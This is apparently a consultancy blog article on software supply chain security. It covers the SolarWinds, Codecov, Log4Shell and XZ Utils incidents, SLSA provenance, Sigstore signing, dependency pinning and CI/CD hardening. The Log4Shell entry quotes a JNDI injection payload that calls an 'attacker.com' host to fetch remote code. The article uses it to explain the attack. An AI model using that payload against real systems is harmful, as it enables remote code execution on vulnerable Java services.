Software Supply Chain Security: SLSA, Sigstore and Dependency Management
Software supply chain security protects the entire software development process from compromise—from source code repositories to build systems and package registries. SLSA (Supply-chain Levels for Software Artifacts) defines security levels for build processes. Sigstore enables transparent code signing. This article explains SolarWinds, XZ Utils, and other supply chain attacks, as well as practical countermeasures.
Table of Contents (5 sections)
Software supply chain security has become a key issue following incidents involving SolarWinds (2020), Codecov (2021), Log4Shell (2021), Kaseya (2021), and XZ Utils (2024). Attackers no longer compromise the target company directly—they compromise the software supply chain: build systems, package registries, open-source packages, CI/CD pipelines. The result: a single compromised library → thousands of affected companies.
Known Supply Chain Attacks
SolarWinds (December 2020):
Attack: SolarWinds Orion build system compromised
Method: Malicious code injected into SUNBURST update
Spread: ~18,000 companies installed the update
Affected: U.S. government agencies, Fortune 500 companies
Attacker: APT29 (Cozy Bear, Russian SVR)
Lesson: Build system security is critical; signed updates alone are not enough
Codecov (April 2021):
Attack: Codecov Bash Uploader Script (codecov.io) compromised
Method: Attacker modified script to exfiltrate CI/CD environment variables
Impact: Thousands of CI/CD pipelines sent their ENV VARs (API keys, tokens!)
Affected: Twilio, Atlassian, HashiCorp (CI/CD secrets compromised)
Lesson: Never use external scripts without hash verification!
Protection: curl ... | sha256sum --check (always check the hash!)
Log4Shell / Log4j (December 2021):
CVE: CVE-2021-44228 (CVSS 10.0)
Attack: JNDI lookup feature in Log4j 2.x exploited
Method: ${jndi:ldap://attacker.com/exploit} in a crafted log entry
Pervasiveness: Almost every Java application uses Log4j transitively!
Lesson: Transitive dependencies are critical; SBOMs would have helped
XZ Utils (March 2024):
CVE: CVE-2024-3094
Attack: Long-running social engineering campaign against xz-utils maintainer
Method: "Jia Tan" (pseudonym) gained trust over 2 years as a contributor
Then injected backdoor into release tarball (not in Git repo!)
Affected: SSH servers on systemd-based systems (backdoor in sshd)
Discovered: Via performance anomaly (250ms login delay)
Lesson: Open source maintainers need support; release artifacts ≠ source
Code provenance is critical (artifact vs. source code)
Typosquatting (ongoing):
Examples: "colourama" (instead of "colorama"), "request" (instead of "requests")
Method: Identical functionality + malware
Detection: tools like pip-audit, Safety CLI, Dependabot
SLSA - Supply-chain Levels for Software Artifacts
SLSA (pronounced "salsa") - Framework by Google/CNCF:
Goal: Tamper protection for software artifacts through build provenance
SLSA Levels (v1.0):
SLSA Level 1 - Provenance present:
→ Build system generates provenance (metadata about the build)
→ Who built it? When? From which source code? With which parameters?
→ Format: SLSA Provenance Attestation (signed JSON)
→ Protects against: unintentional errors, not attacks
SLSA Level 2 - Build Service + Signed Provenance:
→ Hosted build service (GitHub Actions, Cloud Build, GitLab CI)
→ Provenance generated and signed by the build service
→ Source must be under version control
→ Protects against: Individual compromised developer workstations
SLSA Level 3 - Hardened Build Service:
→ Hardened Build: Build environment is ephemeral and auditable
→ No external influence during build
→ Two-party approval for source changes
→ Protects against: compromised build systems (SolarWinds-like!)
SLSA Provenance - what it contains:
{
"_type": "https://in-toto.io/Statement/v0.1",
"predicateType": "https://slsa.dev/provenance/v1",
"subject": [{
"name": "myapp:v1.2.3",
"digest": {"sha256": "abc123..."} # Hash of the artifact
}],
"predicate": {
"buildDefinition": {
"buildType": "https://github.com/actions/build@v1",
"externalParameters": {
"ref": "refs/tags/v1.2.3",
"repository": "https://github.com/org/myapp"
}
},
"runDetails": {
"builder": {"id": "https://github.com/actions/runner"},
"buildMetadata": {
"invocationID": "https://github.com/org/myapp/actions/runs/12345"
}
}
}
}
GitHub Actions - SLSA Level 3 automatically:
# SLSA Generator Action:
jobs:
build:
uses: slsa-framework/slsa-github-generator/.github/workflows/generator_generic_slsa3.yml@v2
permissions:
actions: read
id-token: write
contents: write
with:
base64-subjects: "${{ needs.build.outputs.hashes }}"
# Automatically generates SLSA Level 3 Provenance + SBOM!
Verification (Consumer Side):
# slsa-verifier:
slsa-verifier verify-artifact myapp.tar.gz \
--provenance-path myapp.tar.gz.intoto.jsonl \
--source-uri "github.com/org/myapp" \
--source-tag "v1.2.3"
# Output: PASSED: Provenance is valid!
Sigstore - Transparent Code Signing
Sigstore - CNCF project for software signing without key management:
Core components:
Cosign: Container image signing
Fulcio: Certificate Authority (OIDC-based, short-lived certificates)
Rekor: Transparency Log (immutable audit trail)
Gitsign: Git commit signing
Cosign - Container image signing:
# Sign image (keyless - no private key pair required!):
cosign sign ghcr.io/myorg/myapp:v1.2.3
# → Opens browser for GitHub/Google/Microsoft OIDC login
# → Cosign receives short-lived certificate from Fulcio (10 minutes!)
# → Signature + certificate are stored in Rekor (Transparency Log)
# → Signature appended to image (OCI Registry)
# Verification:
cosign verify ghcr.io/myorg/myapp:v1.2.3 \
--certificate-identity="https://github.com/myorg/myapp/.github/workflows/build.yml@refs/tags/v1.2.3" \
--certificate-oidc-issuer="https://token.actions.githubusercontent.com"
# → Checks: Was the image signed by the GitHub Actions workflow from myorg/myapp?
# With your own keys (classic):
cosign generate-key-pair # Creates cosign.key + cosign.pub
cosign sign --key cosign.key ghcr.io/myorg/myapp:v1.2.3
cosign verify --key cosign.pub ghcr.io/myorg/myapp:v1.2.3
Rekor - Transparency Log:
# All signatures publicly viewable:
rekor-cli search --email "developer@firma.de"
rekor-cli get --uuid<uuid>
# → Immutable: Signature cannot be deleted later!
# → Similar to Certificate Transparency Logs for TLS
# Important: Keyless = Email address visible in the log!
# → Data protection: Use your own keys for private releases
Kubernetes Policy - Allow only signed images:
# Kyverno Policy:
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: require-signed-images
spec:
validationFailureAction: Enforce
rules:
- name: check-image-signature
match:
resources:
kinds: [Pod]
verifyImages:
- imageReferences: ["ghcr.io/myorg/*"]
attestors:
- count: 1
entries:
- keyless:
subject: "https://github.com/myorg/myapp/.github/workflows/*"
issuer: "https://token.actions.githubusercontent.com"
# → No pod will start if the image is not signed by myorg GitHub Actions!
Sigstore in Python (sigstore-python):
pip install sigstore
sigstore sign myapp.tar.gz # Sign
sigstore verify myapp.tar.gz # Verify
Dependency Security
Secure dependency management:
Dependency Pinning (exact versions):
# Python requirements.txt:
# BAD: no pinning
requests
flask
# GOOD: exact version pinned
requests==2.31.0
flask==3.0.0
# BETTER: Hash-based pinning (content, not just version)
requests==2.31.0 \
--hash=sha256:58cd2187423839 \
--hash=sha256:a240be4fb75534e4 \
# pip install --require-hashes: forces hash verification!
# Node.js package-lock.json / pnpm-lock.yaml:
# Lock file: exact versions + hashes for all transitive dependencies
npm ci # Installs from lock file (no upgrade!)
pnpm install --frozen-lockfile # Error if lock file is out of date
# Go go.sum:
# Cryptographic checksums for all packages
go mod verify # Verifies all hashes against go.sum
Private Package Registry:
# Prevent: Dependency Confusion Attacks
# Attacker publishes a public package with the same name as an internal one!
# npm .npmrc:
@myorg:registry=https://nexus.intern.firma.de/repository/npm/
always-auth=true
# → @myorg packages always from the internal registry (not npmjs.com)!
# pip --index-url:
pip install --index-url https://nexus.intern/simple/ myinternal-pkg
# Or: pip.conf
[global]
index-url = https://nexus.intern/simple/
extra-index-url = https://pypi.org/simple/ # As a fallback
Dependency Review (GitHub):
# .github/workflows/dependency-review.yml
name: Dependency Review
on: [pull_request]
jobs:
review:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/dependency-review-action@v4
with:
fail-on-severity: high
# Blocks PR if there is a High CVE in a new dependency!
Automatic Vulnerability Alerts:
Dependabot (GitHub): Automatic PRs for vulnerable packages
Renovate (OSS): Smarter upgrade strategy, groups updates
Snyk: Commercial, excellent developer experience
pip-audit: pip install pip-audit → pip-audit (local, free)
npm audit: npm audit fix → automatic fixes
Typosquatting protection:
# Check before installing new packages:
pip install pypi-simple # Lists all similar names
# OSS: confusable-homoglyphs → finds visually similar names
# Policy: always use @org namespace for internal packages
# Review: manually review all new packages (contributor check)
CI/CD Pipeline Hardening
CI/CD Security Best Practices:
Secrets Management:
# NEVER: Secrets in code, job logs, artifacts
# ALWAYS: Secrets via Secret Store
# GitHub Actions Secrets:
- name: Deploy
env:
AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}
run: aws deploy ...
# Principle of Least Privilege for Secrets:
→ Deployment Secret: only for the main branch + manually triggered workflows
→ OIDC instead of long-lived Secrets (preferred!):
# AWS OIDC instead of Access Keys:
permissions:
id-token: write
steps:
- uses: aws-actions/configure-aws-credentials@v4
with:
role-to-assume: arn:aws:iam::123:role/GitHubActions
aws-region: eu-central-1
# → No access key stored! Token is short-lived (15 minutes)
Hermetic Builds:
→ Build environment is fully deterministic
→ All dependencies are pinned (exact versions + hashes)
→ No internet access during build (offline build!)
→ Reproducible builds: same input → same output
Build Isolation:
# Every build: fresh, ephemeral environment
# NEVER: persistent build workers (could be compromised)
# GitHub Actions: every job: new container
# Self-Hosted Runner: Use ephemeral runners (not persistent!)
Code Review Enforcement:
# Branch Protection Rules (GitHub):
Required approvals: 2 (four-eyes principle!)
Require status checks: CI must be green
Restrict pushes: only via PRs (no direct push to main)
Signed commits: required (GPG or SSH signing)
# Git commit signing (Sigstore Gitsign):
git config --global commit.gpgsign true
git config --global gpg.format x509
git config --global gpg.x509.program gitsign
git config --global gitsign.connectorID https://oauth2.sigstore.dev/auth/github
Dependency Confusion Prevention:
# npm:
# package.json: private = true (internal package never published)
{ "name": "@myorg/internal-lib", "private": true }
# Scoped packages: @myorg/ → internal registry configured
# .npmrc: @myorg:registry=https://intern-registry/
# Python: internal package name with company prefix
# Setup.py: packages = ["myorg_internal_lib"] → difficult to squatt</uuid> Questions about this topic?
Our experts advise you free of charge and without obligation.
About the Author
M.Sc. Internet-Sicherheit (if(is), Westfälische Hochschule). COO und Prokurist mit Expertise in Informationssicherheitsberatung und Security Awareness. Nachwuchsprofessor für Cyber Security an der FOM Hochschule, CISO-Referent bei der isits AG und Promovend am Graduierteninstitut NRW.
11 Publikationen
- Understanding Regional Filter Lists: Efficacy and Impact (2025)
- Privacy from 5 PM to 6 AM: Tracking and Transparency Mechanisms in the HbbTV Ecosystem (2025)
- A Platform for Physiological and Behavioral Security (2025)
- Different Seas, Different Phishes — Large-Scale Analysis of Phishing Simulations Across Different Industries (2025)
- Exploring the Effects of Cybersecurity Awareness and Decision-Making Under Risk (2024)
- Sharing is Caring: Towards Analyzing Attack Surfaces on Shared Hosting Providers (2024)
- On the Similarity of Web Measurements Under Different Experimental Setups (2023)
- People, Processes, Technology — The Cybersecurity Triad (2023)
- Social Media Scraper im Einsatz (2021)
- Digital Risk Management (DRM) (2020)
- New Work — Die Herausforderungen eines modernen ISMS (2024)